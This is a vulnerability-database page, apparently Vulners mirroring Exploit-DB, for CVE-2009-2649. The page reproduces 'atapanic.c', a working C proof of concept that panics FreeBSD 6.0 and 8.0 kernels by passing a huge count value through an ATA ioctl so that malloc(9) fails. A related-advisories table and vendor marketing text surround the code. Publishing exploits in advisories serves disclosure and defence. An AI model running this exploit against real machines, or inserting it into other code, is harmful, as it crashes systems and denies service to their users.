Lucene search
+L

FreeBSD 6/8 - ata Device Local Denial of Service

🗓️ 13 Jul 2009 00:00:00Reported by Shaun ColleyType 
exploitdb
 exploitdb
🔗 www.exploit-db.com👁 33 Views

FreeBSD ata Device Local Denial of Service by passing large value to malloc(9) in ata ioct

Related
Code
ReporterTitlePublishedViews
Family
circl
Circl
CVE-2009-2649
13 Jul 200900:00
circl
cve
CVE
CVE-2009-2649
30 Jul 200919:00
cve
cvelist
Cvelist
CVE-2009-2649
30 Jul 200919:00
cvelist
euvd
EUVD
EUVD-2009-2643
7 Oct 202500:30
euvd
nvd
NVD
CVE-2009-2649
30 Jul 200919:30
nvd
prion
Prion
Cross site request forgery (csrf)
30 Jul 200919:30
prion
seebug
seebug.org
FreeBSD IATA驱动本地拒绝服务漏洞
31 Jul 200900:00
seebug
/* atapanic.c
 *
 * by Shaun Colley, 13 July 2009
 *
 * this panics the freebsd kernel by passing a large value to malloc(9) in one of
 * fbsd's ata ioctl's.  tested on freebsd 6.0 and 8.0.  you need read access to the
 * ata device in /dev to be able to open() the device.  chain with some race condition
 * bug?
 *
 * - shaun
 *
 */


#include <sys/types.h>
#include <sys/ioctl.h>
#include <sys/stat.h>
#include <fcntl.h>

struct ata_ioc_requestz {
    union {
	struct {
	    u_int8_t            command;
	    u_int8_t            feature;
	    u_int64_t           lba;
	    u_int16_t           count;
	} ata;
	struct {
	    char                ccb[16];
	} atapi;
    } u;

    caddr_t             data;
    int                 count;
    int                 flags;

    int                 timeout;
    int                 error;
};


#define IOCATAREQUEST           _IOWR('a', 100, struct ata_ioc_requestz)

int main() {

struct ata_ioc_requestz evil;
int fd;

evil.count = 0xffffffff;
fd = open("/dev/acd0", O_RDONLY);  /* /dev/acd0 is one of my ata devices */

ioctl(fd, IOCATAREQUEST, &evil);

/* should never reach here if kernel panics */
return 0;
}

// milw0rm.com [2009-07-13]

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

13 Jul 2009 00:00Current
5.8Medium risk
Vulners AI Score5.8
CVSS 24.7
EPSS0.00784
33